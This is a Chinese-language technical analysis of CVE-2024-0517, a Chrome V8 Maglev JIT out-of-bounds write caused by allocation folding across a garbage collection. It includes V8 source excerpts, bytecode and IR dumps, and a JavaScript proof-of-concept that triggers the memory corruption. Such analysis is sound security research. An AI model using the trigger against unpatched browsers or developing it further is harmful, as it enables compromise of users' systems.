Chrome V8 越界写入代码执行漏洞 CVE-2024-0517
漏洞影响范围 Google Chrome V8 <120.0.6099.224 漏洞代码分析 VisitFindNonDefaultConstructorOrConstruct 函数中存在一个漏洞,即 Maglev 函数中的一个问题。该函数在一个类拥有父类时,试图优化类的创建。具体而言,当类中包含一个 new.target 引用时,在生成代码时会触发逻辑问题,导致发生类型为越界写入的二阶漏洞
漏洞影响范围
Google Chrome V8 <120.0.6099.224
漏洞代码分析
VisitFindNonDefaultConstructorOrConstruct 函数中存在一个漏洞,即 Maglev 函数中的一个问题。该函数在一个类拥有父类时,试图优化类的创建。具体而言,当类中包含一个 new.target 引用时,在生成代码时会触发逻辑问题,导致发生类型为越界写入的二阶漏洞。new.target 被定义为函数的元属性,用于检测该函数是否已使用 new 运算符调用。对于构造函数而言,它允许访问通过 new 运算符调用的函数。在下述情况下,Reflect.construct 被用于构造带有 ClassBug 构造,而 ClassParent 作为 new.target 的 ClassBug。
function main() {
class ClassParent {
}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();
崩溃
0x9b00019a548 @ 0 : 19 fe f8 Mov , r1
0x9b00019a54b @ 3 : 0b f9 Ldar r0
0x9b00019a54d @ 5 : 69 f9 f9 00 00 Construct r0, r0-r0, [0]
0x9b00019a552 @ 10 : c3 Star2
0x9b00019a553 @ 11 : 5a fe f9 f2 FindNonDefaultConstructorOrConstruct , r0, r7-r8
0x9b00019a557 @ 15 : 0b f2 Ldar r7
0x9b00019a559 @ 17 : 19 f8 f5 Mov r1, r4
0x9b00019a55c @ 20 : 19 f9 f3 Mov r0, r6
0x9b00019a55f @ 23 : 19 f1 f4 Mov r8, r5
0x9b00019a562 @ 26 : 99 0c JumpIfTrue [12] (0x9b00019a56e @ 38)
0x9b00019a564 @ 28 : ae f4 ThrowIfNotSuperConstructor r5
0x9b00019a566 @ 30 : 0b f3 Ldar r6
0x9b00019a568 @ 32 : 69 f4 f9 00 02 Construct r5, r0-r0, [2]
0x9b00019a56d @ 37 : c0 Star5
0x9b00019a56e @ 38 : 0b 02 Ldar
0x9b00019a570 @ 40 : ad ThrowSuperAlreadyCalledIfNotHole
0x9b00019a571 @ 41 : 19 f4 02 Mov r5,
0x9b00019a574 @ 44 : 2d f5 00 04 GetNamedProperty r4, [0], [4]
0x9b00019a578 @ 48 : 9d 0a JumpIfUndefined [10] (0x9b00019a582 @ 58)
0x9b00019a57a @ 50 : be Star7
0x9b00019a57b @ 51 : 5d f2 f4 06 CallProperty0 r7, r5, [6]
0x9b00019a57f @ 55 : 19 f4 f3 Mov r5, r6
0x9b00019a582 @ 58 : 7a 01 08 25 CreateArrayLiteral [1], [8], #37
0x9b00019a586 @ 62 : c2 Star3
0x9b00019a587 @ 63 : 0b 02 Ldar
0x9b00019a589 @ 65 : aa Return
当这段代码运行多次时,Maglev JIT 编译器将对每个字节码操作进行单独处理。漏洞存在于 Maglev JIT 编译器将 FindNonDefaultConstructorOrConstruct 字节码操作降级为 Maglev IR 的过程中。
在将字节码降级为 IR 时,Maglev还会包括对 this 对象初始化的代码,这意味着它还将包含来自触发器的代码 [1000] = 8。
Maglev IR 图如下:
[TRUNCATED]
0x16340019a2e1 (0x163400049c41 )
11 : FindNonDefaultConstructorOrConstruct , r0, r7-r8
20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
[TRUNCATED]
│ 0x16340019a31d (0x163400049c41 :9:15)
│ 5 : DefineKeyedOwnProperty , r0, #0, [0]
│ 28/30: DefineKeyedOwnGeneric [v2/n3:[rsi|R|t], v20/n18:[rdx|R|t], v4/n27:[rcx|R|t], v7/n28:[rax|R|t], v6/n29:[r11|R|t]] → [rax|R|t]
│ │ @51 (3 live vars)
│ ? lazy @5 (2 live vars)
│ 0x16340019a2e1 (0x163400049c41 )
│ 58 : CreateArrayLiteral [1], [8], #37
│╭──29/31: Jump b8
││
╰─?Block b7
│ 30/32: Jump b8
│ ↓
╰?Block b8
31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
59: GapMove([rcx|R|t] → [rdi|R|t])
32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]
[TRUNCATED]
优化
20/18: AllocateRaw(Young, 100) → [rdi|R|t] (spilled: [stack:1|t]), live range: [20-47]
21/19: StoreMap(0x16340019a961 <Map>) [v20/n18:[rdi|R|t]]
22/20: StoreTaggedFieldNoWriteBarrier(0x4) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
23/21: StoreTaggedFieldNoWriteBarrier(0x8) [v20/n18:[rdi|R|t], v5/n10:[rax|R|t]]
[TRUNCATED]
│ 0x16340019a31d (0x163400049c41 :9:15)
│ 5 : DefineKeyedOwnProperty , r0, #0, [0]
此处 ClassBug 类的构造函数时,Maglev进行原始分配,以满足之前定义的双精度数组的更多空间需求。但是此操作将导致指针溢出到堆。而属性定义[1000] = 8[6]将触发垃圾收集。因此在Maglev IR中无法观察到这一副作用。
31/33: FoldedAllocation(+12) [v20/n18:[rdi|R|t]] → [rcx|R|t], live range: [31-46]
59: GapMove([rcx|R|t] → [rdi|R|t])
32/34: StoreMap(0x163400000829 <Map>) [v31/n33:[rdi|R|t]]
[TRUNCATED]
此阶段,FoldedAllocation尝试通过从堆栈恢复溢出、添加+12到指针,最终将指针存储回 rcx 寄存器来处理这种情况。随后,GapMove将指针置于 rdi 寄存器,最后由 StoreMap 开始写入双精度数组。这导致内存的重写,
Allocating Folding
Maglev试图通过将多个分配合并为单个大分配来进行优化。它保留了最后一个分配节点的指针。当有新的分配时,Maglev会执行检查,如果通过,它将之前分配的大小增加到新分配请求
ValueNode* MaglevGraphBuilder::ExtendOrReallocateCurrentRawAllocation(
int size, AllocationType allocation_type) {
if (!current_raw_allocation_ ||
current_raw_allocation_->allocation_type() != allocation_type ||
!v8_flags.inline_new) {
current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
return current_raw_allocation_;
}
int current_size = current_raw_allocation_->size();
if (current_size + size > kMaxRegularHeapObjectSize) {
return current_raw_allocation_ =
AddNewNode<AllocateRaw>({}, allocation_type, size);
}
DCHECK_GT(current_size, 0);
int previous_end = current_size;
current_raw_allocation_->extend(size);
return AddNewNode<FoldedAllocation>({current_raw_allocation_}, previous_end);
}
第一块代码检查了三个条件:首先,它检查current_raw_allocation_是否为nullptr,其次,它检查current_raw_allocation_的分配类型是否与提供的allocation_type不同,最后,它检查v8_flags.inline_new标志是否未设置。如果这些条件中的任何一个为真,就会创建一个新的AllocateRaw节点,并将其赋给current_raw_allocation_,然后返回该节点。
接下来,代码获取current_raw_allocation_的当前大小(current_size)。如果当前大小加上给定的大小(size)超过了kMaxRegularHeapObjectSize,则再次创建一个新的AllocateRaw节点,并将其赋给current_raw_allocation_,然后返回该节点。
如果以上两个条件都不满足,代码会进行一些断言检查,确保current_size大于零。然后,它获取current_raw_allocation_的当前大小(current_size),并将之前的结束位置(previous_end)设置为current_size。接着,通过调用extend方法扩展current_raw_allocation_的大小。最后,它创建一个新的FoldedAllocation节点,该节点包含current_raw_allocation_,并将之前的结束位置(previous_end)作为参数传递给该节点,并将该节点返回。
分配快速对象
BuildAllocateFastObject()函数调用了ExtendOrReallocateCurrentRawAllocation方法,传递了两个参数:object.instance_size和allocation_type。object.instance_size表示要分配的对象的实例大小,allocation_type表示分配的类型。该方法的返回值(ValueNode*类型)被保存在名为allocation的变量中。
最后,函数返回了allocation,即通过调用ExtendOrReallocateCurrentRawAllocation方法得到的节点。
ValueNode* MaglevGraphBuilder::BuildAllocateFastObject(
FastObject object, AllocationType allocation_type) {
[TRUNCATED]
ValueNode* allocation = ExtendOrReallocateCurrentRawAllocation(
object.instance_size, allocation_type);
[TRUNCATED]
return allocation;
}
当需要进行内存分配时,该函数调用ExtendOrReallocateCurrentRawAllocation(),然后使用对象的数据初始化已分配的内存。值得注意的是,该函数在执行完成后并未清除current_raw_allocation_变量,
MaglevGraphBuilder类提供了一个辅助函数ClearCurrentRawAllocation(),用于将current_raw_allocation_成员设置为NULL。正如前面讨论的那样,如果未正确清除该变量,可能导致分配在垃圾收集边界上折叠,从而引发越界写入问题。
关键函数TryBuildFindNonDefaultConstructorOrConstruct
bool MaglevGraphBuilder::TryBuildFindNonDefaultConstructorOrConstruct(
ValueNode* this_function, ValueNode* new_target,
std::pair<interpreter::Register, interpreter::Register> result) {
// See also:
// JSNativeContextSpecialization::ReduceJSFindNonDefaultConstructorOrConstruct
compiler::OptionalHeapObjectRef maybe_constant =
TryGetConstant(this_function);
if (!maybe_constant) return false;
compiler::MapRef function_map = maybe_constant->map(broker());
compiler::HeapObjectRef current = function_map.prototype(broker());
[TRUNCATED]
while (true) {
if (!current.IsJSFunction()) return false;
compiler::JSFunctionRef current_function = current.AsJSFunction();
[TRUNCATED]
FunctionKind kind = current_function.shared(broker()).kind();
if (kind != FunctionKind::kDefaultDerivedConstructor) {
[TRUNCATED]
compiler::OptionalHeapObjectRef new_target_function =
TryGetConstant(new_target);
if (kind == FunctionKind::kDefaultBaseConstructor) {
[TRUNCATED]
ValueNode* object;
if (new_target_function && new_target_function->IsJSFunction() &&
HasValidInitialMap(new_target_function->AsJSFunction(),
current_function)) {
object = BuildAllocateFastObject(
FastObject(new_target_function->AsJSFunction(), zone(), broker()),
AllocationType::kYoung);
} else {
object = BuildCallBuiltin<Builtin::kFastNewObject>(
{GetConstant(current_function), new_target});
// We've already stored "true" into result.first, so a deopt here just
// has to store result.second.
object->lazy_deopt_info()->UpdateResultLocation(result.second, 1);
}
[TRUNCATED]
// Keep walking up the class tree.
current = current_function.map(broker()).prototype(broker());
}
}
获取常量和映射:
- 首先,通过
TryGetConstant函数尝试获取this_function参数的常量值,如果未成功获取,则返回false。 - 然后,从获取的常量中获取其映射(
compiler::MapRef类型),并从映射中获取原型(compiler::HeapObjectRef类型)。
- 首先,通过
循环遍历类树:
- 使用一个无限循环,不断遍历类树。
- 在循环内,首先检查当前对象是否为JS函数,如果不是,返回
false。 - 将当前对象转换为
compiler::JSFunctionRef类型。
检查函数类型:
- 获取当前函数的类型(
FunctionKind),并检查是否为FunctionKind::kDefaultDerivedConstructor,如果是,则跳过当前循环继续上溯。
- 获取当前函数的类型(
处理基类构造函数:
- 如果当前函数类型为
FunctionKind::kDefaultBaseConstructor,则进行下一步处理。 - 尝试获取
new_target参数的常量值,并检查其是否为JS函数以及是否具有有效的初始映射。 - 如果满足条件,调用
BuildAllocateFastObject函数,以FastObject和AllocationType::kYoung参数构建一个新的分配对象节点(ValueNode*)。 - 如果条件不满足,通过调用
BuildCallBuiltin[Builtin::kFastNewObject](Builtin::kFastNewObject)函数创建一个新对象,并更新延迟失效信息(deoptimization info)。
- 如果当前函数类型为
继续向上遍历类树:
- 通过获取当前函数的映射,再获取其原型,继续向上遍历类树。
漏洞解释
正如代码中所示,TryBuildFindNonDefaultConstructorOrConstruct() 在调用 BuildAllocateFastObject() 后未清除 current_raw_allocation_ 变量。
因此,如果在 FindNonDefaultConstructorOrConstruct 之后进行的下一个分配与此分配折叠,并且两者之间有一个垃圾收集
那么第二个分配的初始化会导致越界写入。
POC
function main() {
class ClassParent {}
class ClassBug extends ClassParent {
constructor() {
const v24 = new new.target();
super();
let a = [9.9,9.9,9.9,1.1,1.1,1.1,1.1,1.1];
}
[1000] = 8;
}
for (let i = 0; i < 300; i++) {
Reflect.construct(ClassBug, [], ClassParent);
}
}
%NeverOptimizeFunction(main);
main();
首先,ClassParent类是一个带有默认构造函数的基类,并且ClassBug类没有任何具有自定义构造函数的父对象
调用了创建new.target实例的函数,此时Maglev将对ClassParent发出CheckValue确保其运行时不变。CheckValue将ClassParent标记为new.target,使其成为常量。
super调用构造函数,引擎会为此对象执行分配和初始化。
所以调用super时FindNonDefaultConstructorOrConstruct会发出操作码,然后[1000] = 8;将ClassBug的当前实例的属性1000设置为值8。
数组创建将再次尝试为元数据和数组元素分配内存。
但是调用FindNonDefaultConstructorOrConstruct的Maglev代码在未清除current_raw_allocation_pointer
数组元素和元数据的分配将与 this 对象的分配共同被折叠,GC被触发
this 对象和数组的原始分配将被移动
导致越界写入